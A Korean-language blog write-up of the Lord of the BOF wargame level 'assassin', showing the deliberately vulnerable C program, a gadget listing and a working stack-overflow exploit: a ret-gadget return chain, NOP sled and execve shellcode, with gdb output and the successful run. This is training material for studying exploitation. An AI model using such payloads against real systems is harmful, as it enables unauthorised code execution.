728x90
반응형
1. intro
2. code 및 분석
2.1. C code
/*
The Lord of the BOF : The Fellowship of the BOF
- assassin
- no stack, no RTL
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
2.2. 분석
여기부터는 어셈블러 코드 분석은 패스하자.
지금 보니 그닥... 쓸모가 없어 보인다.
인자를 1개 이상 받아야 작동하며, ret address의 첫 1 byte가 0xbf나 0x40이면 종료한다.
그게 아니라면 argv[1]을 buffer에 복사하며, 이후 buffer + sfp 영역을 0으로 초기화 한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
마찬가지로 결국은 ret address 변조가 가능하다는 것이다.
3.2. 공격 준비
stack 영역과 library 영역은 사용 불가이기 때문에 결국은 code 영역밖에 없다.
또한 ret address만 \xbf, \x40이 아니면 되기 때문에 적절한 gadget을 사용하면 될 것 같다.
예를 들면 ret 이라던지, ret이라던지, ret 이라던지...
return address만 4 byte 밀어버리면 된다.
그러므로 페이로드는 아래와 같이 구성 가능하다.
dummy 44 bytes + code 영역의 ret gadget 4 bytes + nop & shellcode 주소를 담고 있는 곳의 주소 + nop & shellcode
대략 구성해서 값을 넘겨서 주소를 다시 확인해보자.
우선 gadget은 아래와 같다.
[giant@localhost giant]$ objdump -d ./assassin | grep ret
8048336: c3 ret
8048435: c3 ret
804843c: c3 ret
804845c: c3 ret
8048464: c3 ret
804851e: c3 ret
8048542: c3 ret
8048548: c3 ret
8048565: c3 ret
이를 참고로 nop & shellcode의 주소를 확인해보면 아래와 같다.
(gdb) r `python -c 'print "A"*44 + "\x36\x83\x04\x08" + "AAAA" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
Starting program: /home/giant/assassia `python -c 'print "A"*44 + "\x36\x83\x04\x08" + "AAAA" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
/bin/bash2: /home/bugbear/.bashrc: Permission denied
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
̀
Breakpoint 1, 0x804851d in main ()
(gdb) x/40x $ebp
...
0xbffffbd8: 0x672f656d 0x746e6169 0x7373612f 0x69737361
0xbffffbe8: 0x41410061 0x41414141 0x41414141 0x41414141
0xbffffbf8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc08: 0x41414141 0x41414141 0x41414141 0x83364141
0xbffffc18: 0x41410804 0x90904141 0x90909090 0x90909090
0xbffffc28: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc38: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc48: 0x90909090 0xc0319090 0xc189c289 0x61706850
4. exploit
위를 토대로 최종 페이로드를 작성해보면 아래와 같다.
[giant@localhost giant]$ ./assassin `python -c 'print "A"*44 + "\x36\x83\x04\x08" + "\x28\xfc\xff\xbf" + "\x90"*0x30 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6(▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒�▒Phpassh/my-h/bin▒▒
̀
euid = 515
pushing me away
728x90
반응형
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] zombie_assassin -> succubus (0) | 2022.09.16 |
---|---|
[lob] assassin -> zombie_assassin (0) | 2022.09.16 |
[lob] bugbear -> giant (0) | 2022.09.15 |
[lob] darkknight -> bugbear (0) | 2022.09.15 |
[lob] golem -> darkknight (0) | 2022.09.15 |